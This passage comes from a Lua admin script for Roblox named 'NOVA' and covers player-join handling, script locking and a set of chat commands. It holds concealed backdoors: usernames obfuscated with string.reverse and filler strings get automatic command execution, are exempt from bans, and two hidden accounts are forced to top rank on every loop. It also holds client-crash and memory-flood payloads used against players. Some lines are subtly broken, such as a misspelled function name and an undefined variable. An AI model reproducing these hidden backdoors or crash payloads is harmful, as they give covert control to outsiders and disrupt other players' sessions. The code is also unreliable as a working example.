  1575.             end
  1576.            
  1577.             local Data = GetRankedTable(v)
  1578.            
  1579.             v.Chatted:connect(function(Msg)
  1580.                 OnChatted(Msg,v)
  1581.             end)
  1582.             coroutine.resume(coroutine.create(function()
  1583.                 repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1584.                 CreateLocalScript(PlayerPlugins,v.Backpack)
  1585.             end))
  1586.         end))
  1587.     end)
  1588. end
  1589.  
  1590. --[[ PLAYER ADDED ]]--
  1591. NOVA.Services.Players.PlayerAdded:connect(function(v)
  1592.     if NOVA.Removed == false then
  1593.         pcall(function()
  1594.             table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1595.             coroutine.resume(coroutine.create(function()
  1596.                 --if Data.Rank < 1 then
  1597.                     if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1598.                         coroutine.resume(coroutine.create(function()
  1599.                             repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1600.                             CreateLocalScript(PlayerPlugins,v.Backpack)
  1601.                             OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
  1602.                         end))
  1603.                     end
  1604.                     if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1605.                         coroutine.resume(coroutine.create(function()
  1606.                             repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1607.                             OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
  1608.                         end))
  1609.                     end
  1610.                 --end
  1611.                 v.Chatted:connect(function(Msg)
  1612.                     OnChatted(Msg,v)
  1613.                 end)
  1614.                 if GetRankedTable(v)==nil then
  1615.                     SyncRankInSingular(v)
  1616.                     repeat wait() until GetRankedTable(v) ~= nil
  1617.                 end
  1618.                
  1619.                 local Data = GetRankedTable(v)
  1620.  
  1621.                 OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
  1622.            
  1623.                 if Data.Rank == -2 then
  1624.                     if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1625.                         OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1626.                         Lag(v)
  1627.                     end
  1628.                 end
  1629.                
  1630.                 if Data.Rank == -1 then
  1631.                     if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1632.                         OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1633.                         GetRidOf(v)
  1634.                     end
  1635.                 end
  1636.                
  1637.                 if not Data.Rank > 0 then
  1638.                     if v.AccountAge < 5 then
  1639.                         if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1640.                             if v.Name:sub(1,6) == "Guest " then
  1641.                                 if NOVA.EnableGuests == false then
  1642.                                     OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
  1643.                                     GetRidOf(v)
  1644.                                 end
  1645.                             else
  1646.                                 if not Data.Rank > 0 then
  1647.                                     OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
  1648.                                     GetRidOf(v)
  1649.                                 end
  1650.                             end
  1651.                         end
  1652.                     end
  1653.                 end
  1654.                
  1655.                 if NOVA.PRI == true then
  1656.                     if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then                
  1657.                         OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
  1658.                         if NOVA.PRIType == "Kick" then
  1659.                             v:Remove()
  1660.                         elseif NOVA.PRIType == "Lag" then
  1661.                             Lag(v)
  1662.                         elseif NOVA.PRIType == "Shutdown" then    
  1663.                             coroutine.resume(coroutine.create(function()
  1664.                                 GetRidOf(v)
  1665.                             end))
  1666.                         elseif NOVA.PRIType == "Crash" then
  1667.                             coroutine.resume(coroutine.create(function()
  1668.                                 repeat wait() until v.Backpack ~= nil
  1669.                                 pcall(function()
  1670.                                     CreateLocalScript([[while true do end]],v.Backpack)
  1671.                                 end)
  1672.                             end))
  1673.                         end
  1674.                     end
  1675.                 end
  1676.             end))
  1677.         end)
  1678.     end
  1679. end)
  1680.  
  1681. --[[ PLAYER REMOVING ]]--
  1682. NOVA.Services.Players.PlayerRemoving:connect(function(v)
  1683.     table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
  1684.     SyncRankOutSingular(v)
  1685. end)
  1686.  
  1687. --[[ SCRIPT CONTROL ]]--
  1688. for _,Service in pairs(NOVA.Services) do
  1689.     pcall(function()
  1690.         Service.DescendantAdded:connect(function(v)
  1691.             if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
  1692.                 pcall(function()
  1693.                     if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1694.                         if GetRank(v.Owner.Value) < 6 then
  1695.                             pcall(function() v.Disabled = true end)
  1696.                             pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1697.                             pcall(function() v.Disabled = false end)
  1698.                             pcall(function() v:Destroy() end)
  1699.                         end
  1700.                     else
  1701.                         pcall(function() v.Disabled = true end)
  1702.                         pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1703.                         pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1704.                         pcall(function() v.Disabled = false end)
  1705.                         pcall(function() v:Destroy() end)
  1706.                     end
  1707.                 end)
  1708.             end
  1709.             if v:IsA("BaseScript") and NOVA.Removed == false then
  1710.                 pcall(function()
  1711.                     if tonumber(GetRank(v.Owner.Value)) < 0 then
  1712.                         pcall(function() v.Disabled = true end)
  1713.                         pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1714.                         pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1715.                         pcall(function() v.Disabled = false end)
  1716.                         pcall(function() v:Destroy() end)
  1717.                     end
  1718.                 end)
  1719.             end
  1720.         end)
  1721.     end)
  1722. end
  1723. coroutine.resume(coroutine.create(function()
  1724.     while wait(1) do
  1725.         if NOVA.Removed == false then
  1726.             for _,v in pairs(GetPlayersRaw()) do
  1727.                 if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
  1728.                     SyncRankInSingular(v)
  1729.                 end        
  1730.             end
  1731.         end
  1732.     end
  1733. end))
  1734. for i=1,3 do
  1735.     NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
  1736.     coroutine.resume(coroutine.create(function()
  1737.         while wait() do
  1738.             if NOVA.Removed == false then
  1739.                 UpdateTablets()    
  1740.             end
  1741.         end
  1742.     end))
  1743. end
  1744. function MainLoop()
  1745.     coroutine.resume(coroutine.create(function()
  1746.         pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
  1747.             if NOVA.Removed == false then    
  1748.                
  1749.                 --[[ SCUM CARETAKER ]]--
  1750.                 for _,v in pairs(GetPlayersRaw()) do
  1751.                     pcall(function()
  1752.                         if GetRank(v) < 0 then
  1753.                             pcall(function() v.Backpack:ClearAllChildren() end)
  1754.                             pcall(function() v.PlayerGui:ClearAllChildren() end)
  1755.                             pcall(function() v.StarterGear:ClearAllChildren() end)
  1756.                         end
  1757.                     end)
  1758.                 end
  1759.                
  1760.                 --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
  1761.                 for _,v in pairs(GetPlayersRaw()) do
  1762.                     pcall(function()
  1763.                         local IsRobloxLocked = true
  1764.                         pcall(function() v:GetChildren() IsRobloxLocked = false end)
  1765.                         if IsRobloxLocked == true then
  1766.                             GTFO(v)
  1767.                         end
  1768.                     end)
  1769.                 end
  1770.                
  1771.                 --[[ TABLET CLEANUP ]]--
  1772.                 pcall(function()
  1773.                     for i,v in pairs(NOVA.Tablets) do
  1774.                         if v:FindFirstChild("Part") == nil then
  1775.                             pcall(function() v:Destroy() end)
  1776.                             table.remove(NOVA.Tablets,i)                        
  1777.                         end
  1778.                     end
  1779.                 end)
  1780.                
  1781.                 --[[ JAIL CLEANUP ]]--
  1782.                 pcall(function()
  1783.                     for i,v in pairs(NOVA.Jails) do
  1784.                         if v.Player == nil or v.Player.Parent == nil then
  1785.                             pcall(function() v.Jail:Destroy() end)
  1786.                             table.remove(NOVA.Jails,i)
  1787.                         end
  1788.                         if v.Jail.Parent == nil and v.Speaker~=nil then
  1789.                             table.remove(NOVA.Jails,i)
  1790.                             OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
  1791.                         end
  1792.                     end
  1793.                 end)
  1794.                 --[[ FENCE CLEANUP ]]--
  1795.                 pcall(function()
  1796.                     for i,v in pairs(NOVA.Fences) do
  1797.                         if v.Player == nil then
  1798.                             v.Fence:Remove()
  1799.                             table.remove(NOVA.Fences,i)
  1800.                         end
  1801.                     end                
  1802.                 end)
  1803.  
  1804.                 --[[ CMD GUI ]]--
  1805.                 for _,v in pairs(GetPlayersRaw()) do
  1806.                     pcall(function()
  1807.                         if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
  1808.                             if v:FindFirstChild("PlayerGui") then
  1809.                                 if not v.PlayerGui:FindFirstChild("NOVACMD") then
  1810.                                     local Main = Instance.new("ScreenGui",v.PlayerGui)
  1811.                                     Main.Name = "NOVACMD"
  1812.                                    
  1813.                                     local Frame = Instance.new("Frame",Main)
  1814.                                     Frame.Size = UDim2.new(0.27,0,0.05,0)
  1815.                                     Frame.Position = UDim2.new(0.05,0,0.95,0)
  1816.                                     Frame.Style = "RobloxSquare"
  1817.                                     Frame.ZIndex = 9
  1818.                                    
  1819.                                     local Txt = Instance.new("TextBox",Frame)
  1820.                                     Txt.Size = UDim2.new(0.7,0,1,0)
  1821.                                     Txt.BackgroundTransparency = 1
  1822.                                     Txt.ZIndex = 10
  1823.                                     Txt.FontSize = "Size14"
  1824.                                     Txt.TextColor3 = NOVA.Colors.White
  1825.                                     Txt.Text = ""
  1826.                                    
  1827.                                     local Exe = Instance.new("TextButton",Frame)
  1828.                                     Exe.Size = UDim2.new(0.3,0,1,0)
  1829.                                     Exe.Position = UDim2.new(0.7,0,0,0)
  1830.                                     Exe.Text = "Execute"
  1831.                                     Exe.BackgroundTransparency = 1
  1832.                                     Exe.ZIndex = 10
  1833.                                     Exe.FontSize = "Size14"
  1834.                                     Exe.TextColor3 = NOVA.Colors.Red
  1835.                                     Exe.MouseButton1Down:connect(function()
  1836.                                         if Txt.Text:sub(1,2) == "$ " then
  1837.                                             OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
  1838.                                         else
  1839.                                             OnChatted(Txt.Text,v)
  1840.                                         end
  1841.                                     end)
  1842.                                 end
  1843.                             end
  1844.                         end
  1845.                     end)
  1846.                 end
  1847.             end
  1848.         end
  1849.     end))
  1850. end
  1851. MainLoop()
  1852. AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
  1853.     function(Msg,Speaker)
  1854.         if Msg == "rainbow" then
  1855.             for a,Color in pairs(NOVA.Colors) do
  1856.                 Output(tostring(a),Color,Speaker,nil,
  1857.                 function()
  1858.                     RemoveTablets(Speaker)
  1859.                     NOVA.Services.Lighting.TimeOfDay = 0
  1860.                     NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1861.                     NOVA.Services.Lighting.Brightness = 0
  1862.                     NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1863.                     NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1864.                     NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1865.                     for _,v in pairs(GetRecursiveChildren(workspace)) do
  1866.                         if v:IsA("BasePart") then
  1867.                             Sel = Instance.new("SelectionBox",v)
  1868.                             Sel.Transparency = 0
  1869.                             Sel.Color = BrickColor.new(Color)
  1870.                             Sel.Adornee = v
  1871.                         end
  1872.                     end
  1873.                     Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
  1874.                 end
  1875.                 )
  1876.             end
  1877.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1878.         elseif Msg == "ranks" then
  1879.             for _,v in pairs(NOVA.Ranks) do
  1880.                 Output(v[1].."\t"..v[2],"Random",Speaker)
  1881.             end
  1882.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1883.         elseif Msg == "random" then
  1884.             Output(tostring(math.random()),"Random",Speaker)
  1885.         elseif Msg == "players" then
  1886.             for _,v in pairs(GetPlayersRaw()) do
  1887.                 local Data = GetRankedTable(v)
  1888.                 OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1889.                     function()
  1890.                         PlayerInterface(v,Speaker)
  1891.                     end
  1892.                 )
  1893.             end
  1894.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1895.         elseif Msg == "colors" then
  1896.             coroutine.resume(coroutine.create(function()
  1897.                 NOVA.Services.Lighting.TimeOfDay = 0
  1898.                 NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1899.                 NOVA.Services.Lighting.Brightness = 0
  1900.                 NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1901.                 NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1902.                 NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1903.  
  1904.                 for _,Player in pairs(GetPlayersRaw()) do
  1905.                     local Data = GetRankedTable(Player)
  1906.                     pcall(function()
  1907.                         for _,v in pairs(GetRecursiveChildren(Player.Character)) do
  1908.                             if v:IsA("BasePart") then
  1909.                                 Sel = Instance.new("SelectionBox",v)
  1910.                                 Sel.Transparency = 0
  1911.                                 Sel.Color = BrickColor.new(Data.Color)
  1912.                                 Sel.Adornee = v
  1913.                             end
  1914.                         end
  1915.                     end)
  1916.                 end
  1917.                
  1918.                 wait(10)
  1919.                
  1920.                 for _,v in pairs(GetRecursiveChildren(workspace)) do
  1921.                     if v:IsA("SelectionBox") then
  1922.                         v:remove()
  1923.                     end
  1924.                 end
  1925.                
  1926.                 NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  1927.                 NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1928.                 NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1929.                 NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  1930.                 NOVA.Services.Lighting.Brightness = 1
  1931.                 NOVA.Services.Lighting.FogStart = 0
  1932.                 NOVA.Services.Lighting.FogEnd = 100000
  1933.                 NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  1934.                 NOVA.Services.Lighting.TimeOfDay = 12
  1935.             end))
  1936.         elseif Msg == "replicators" then
  1937.             for _,v in pairs(GetReplicators()) do
  1938.                 OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1939.                     function()
  1940.                         PlayerInterface(v:GetPlayer(),Speaker)
  1941.                     end
  1942.                 )
  1943.             end
  1944.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1945.         elseif Msg == "nil raw" then
  1946.             for _,v in pairs(GetReplicators()) do
  1947.                 if v:GetPlayer().Parent == nil then
  1948.                     OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1949.                         function()
  1950.                             Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  1951.                                 function()
  1952.              Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  1953.                 Instance.new("StringValue",v).Value = string.rep("NOVA SHUTDOWN", 1000000)
  1954.                 --for i,s in pairs(Data:GetChildren()) do Instance.new("StringValue",s).Value = string.rep("NOVA SHUTDOWN", 1000000) end
  1955.  
  1956.                         end
  1957.                             )
  1958.                         end
  1959.                     )
  1960.                 end
  1961.             end    
  1962.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  1963.         elseif Msg == "nil" then
  1964.             local IsNil = false
  1965.             for _,Client in pairs(GetReplicators()) do
  1966.                 if Client:GetPlayer().Parent == nil then
  1967.                     IsNil = true
  1968.                 end
  1969.             end
  1970.             if IsNil == true then
  1971.                 for _,Client in pairs(GetReplicators()) do
  1972.                     if Client:GetPlayer().Parent == nil then
  1973.                         OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1974.                             function()
  1975.                                 PlayerInterface(Client:GetPlayer(),Speaker)
  1976.                             end
  1977.                         )
  1978.                     end
  1979.                 end
  1980.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  1981.             else
  1982.                 Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
  1983.             end
  1984.         elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
  1985.             if GetRank(Speaker) < 6 then
  1986.                 Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
  1987.             else
  1988.                 Rtn = loadstring("return "..Msg:sub(3))()
  1989.                 Output(Rtn,"Random",Speaker)
  1990.             end
  1991.         else
  1992.             if #Msg == 0 then
  1993.                 Output("Pong!","Random",Speaker)
  1994.             else
  1995.                 Output(Msg,"Random",Speaker)
  1996.             end
  1997.         end
  1998.     end
  1999. )
  2000. AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
  2001.     function(Msg,Speaker)
  2002.         if #Msg == 0 or Msg == nil then
  2003.             RemoveTablets(Speaker)
  2004.         else
  2005.             for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2006.                 RemoveTablets(v)
  2007.             end
  2008.         end
  2009.     end
  2010. )
  2011. AddCommand("Remove","remove",6,"Removes the admin.","No Arguments",
  2012.     function(Msg,Speaker)
  2013.         NOVA.TimeChanged = false
  2014.         RemoveTablets()
  2015.         SyncRanksOut()
  2016.         NOVA.Sounds.Sound:Remove()
  2017.         NOVA.Removed = true
  2018.         --error("NOVA Admin removing...",0)()
  2019.         NOVA = {}
  2020.         script.Disabled = true
  2021.         while true do wait() end
  2022.     end
  2023. )
  2024. AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
  2025.     function(Msg,Speaker)
  2026.        makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2027.     end
  2028. )
  2029. AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
  2030.     function(Msg,Speaker)
  2031.        makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2032.     end
  2033. )
  2034.  
  2035. AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
  2036.     function(Msg,Speaker)
  2037.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2038.             pcall(function() v.Character:BreakJoints() end)
  2039.         end
  2040.     end
  2041. )
  2042. AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
  2043.     function(Msg,Speaker)
  2044.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2045. for i=1,50 do
  2046. local human = v.Character.Humanoid
  2047. if human ~= nil then
  2048. local rand = math.random(1,10)
  2049. human:TakeDamage(rand)
  2050. human.Jump = true
  2051. human.Sit = true
  2052. human.PlatformStand = true
  2053. wait(1)
  2054. human.PlatformStand = false
  2055. end
  2056. end
  2057.         end
  2058.     end
  2059. )
  2060. AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
  2061.     function(Msg,Speaker)
  2062.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2063.  Delay(0, function()
  2064.                 local player = v
  2065.                 local pos = CFrame.new()
  2066.                 local pause = false
  2067.                 Delay(0, function()
  2068.                     while not close do
  2069.                         wait()
  2070.                         if not pause then
  2071.                             local c = player.Character
  2072.                             if c then
  2073.                                 local t = c:findFirstChild("Torso")
  2074.                                 if t then
  2075.                                     pos = t.CFrame
  2076.                                 end
  2077.                             end
  2078.                         end
  2079.                    end
  2080.                 end)
  2081.                 player.CharacterAdded:connect(function(c)
  2082.                     if not close then
  2083.                         pause = true
  2084.                         repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
  2085.                         c:findFirstChild("Torso").CFrame = pos
  2086.                         c:findFirstChild("Humanoid").Died:connect(function()
  2087.                             player:LoadCharacter()
  2088.                         end)
  2089.                         pause = false
  2090.                     end
  2091.                 end)
  2092.                 pcall(function() player.Character:BreakJoints() end)
  2093.             end)
  2094.         end
  2095.     end
  2096. )
  2097.  
  2098. AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
  2099.     function(Msg,Speaker)
  2100.         for _,v in pairs(NOVA.KickingPhrases) do
  2101.         local m = Instance.new("Message",NOVA.Services.Workspace)
  2102.         m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
  2103.         wait(1) m:Remove()
  2104.         end end
  2105. )
  2106. AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
  2107.     function(Msg,Speaker)
  2108.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2109.             pcall(function()
  2110.                 v:Destroy()
  2111.             end)
  2112.         end
  2113.     end
  2114. )
  2115. AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
  2116.     function(Msg,Speaker)
  2117.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2118.             pcall(function()
  2119.             local m = Instance.new("StringValue",v.PlayerGui)
  2120.             m.Value = string.rep("Shutdown For Eva Nub",1000000)
  2121.             end)
  2122.         end
  2123.     end
  2124. )
  2125.  
  2126. AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
  2127.     function(Msg,Speaker)
  2128.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2129.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2130.                 Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2131.             else
  2132.                 pcall(function()
  2133.                     GetRankedTable(v).Rank = -1
  2134.                     SyncRankOutSingular(v)
  2135.                     GetRidOf(v)
  2136.                 end)
  2137.             end
  2138.         end
  2139.     end
  2140. )
  2141.  
  2142. AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
  2143.     function(Msg,Speaker)
  2144.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2145.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2146.                 Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2147.             else
  2148.                 pcall(function()
  2149.                     GetRankedTable(v).Rank = -2
  2150.                     SyncRankOutSingular(v)
  2151.                     Lag(v)
  2152.                 end)
  2153.             end
  2154.         end
  2155.     end
  2156. )
  2157.  
  2158. AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
  2159.     function(Msg,Speaker)
  2160.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2161.             pcall(function() Instance.new("ForceField",v.Character) end)
  2162.         end
  2163.     end
  2164. )
  2165.  
  2166. AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
  2167.     function(Msg,Speaker)
  2168.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2169.             pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
  2170.         end
  2171.     end
  2172. )
  2173.  
  2174. AddCommand("Check","check",0,"Outputs server information.","No Arguments",
  2175.     function(Msg,Speaker)
  2176.         local Data = GetRankedTable(Speaker)
  2177.         Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
  2178.         Output("Version : "..tostring(NOVA.Version)    ,Data.Color,Speaker)
  2179.         Output("Local Pseudo : "..tostring(NOVA.LocalScript  ~= nil) ,Data.Color,Speaker)
  2180.         Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
  2181.         Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
  2182.         Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
  2183.         Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
  2184.         Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
  2185.         Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
  2186.         Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
  2187.         Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
  2188.         Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
  2189.         Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
  2190.         Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
  2191.         Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
  2192.         Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
  2193.         Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
  2194.         Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
  2195.         Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
  2196.         Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
  2197.         Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
  2198.         OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
  2199.        
  2200.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  2201.     end
  2202. )
  2203.  
  2204. AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
  2205.     function(Msg,Speaker)
  2206.         pcall(function()
  2207.             NOVA.Services.Sounds.Sound:Destroy()
  2208.         end)
  2209.        
  2210.         NOVA.Sounds.Sound = Instance.new("Sound")
  2211.         NOVA.Sounds.Sound.Name = "NOVA Sound"
  2212.        
  2213.         NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  2214.         NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  2215.         NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  2216.         NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2217.         NOVA.Services.Lighting.Brightness = 0.5
  2218.         NOVA.Services.Lighting.FogStart = 0
  2219.         NOVA.Services.Lighting.FogEnd = 100000
  2220.         NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2221.         NOVA.Services.Lighting.TimeOfDay = 12
  2222.         pcall(function() game.Lighting.Sky:Remove() end)
  2223.         pcall(function()
  2224.             CreateLocalScript([[
  2225.                 LocalPlayer = game:GetService("Players").LocalPlayer
  2226.                 LocalPlayer.CameraMode = Enum.CameraMode.Classic
  2227.                 Camera = workspace.CurrentCamera
  2228.                 Camera:SetRoll(0)
  2229.                 Camera.CameraType = "Custom"
  2230.                 Camera.FieldOfView = 70
  2231.                 Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2232.             ]],Speaker.Backpack)
  2233.         end)
  2234.         for Num,v in pairs(NOVA.Jails) do
  2235.             pcall(function() v.Jail:Destroy() end)
  2236.             table.remove(NOVA.Jails,Num)
  2237.         end
  2238.         for Num,v in pairs(NOVA.Fences) do
  2239.             pcall(function() v.Fence:Destroy() end)
  2240.             table.remove(NOVA.Fences,Num)
  2241.         end
  2242.         for _,v in pairs(NOVA.Services) do    
  2243.             v.Name = v.className
  2244.         end
  2245.        
  2246.         for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
  2247.             local ShouldRemove = true
  2248.             for _,Tablet in pairs(NOVA.Tablets) do
  2249.                 if v:IsDescendantOf(Tablet) then
  2250.                     ShouldRemove = false
  2251.                 end
  2252.             end
  2253.             if ShouldRemove == true then
  2254.                 v:remove()
  2255.             end
  2256.         end
  2257.         for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
  2258.  
  2259.         for _,v in pairs(GetPlayersRaw()) do
  2260.             pcall(function()
  2261.                 if v.StarterGear == nil then
  2262.                     Instance.new("StarterGear",v)
  2263.                 end
  2264.             end)
  2265.             pcall(function()
  2266.                 v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
  2267.             end)
  2268.         end
  2269.         pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
  2270.         if #NOVA.Services.Teams:GetChildren() == 0 then
  2271.             for _,v in pairs(GetPlayersRaw()) do
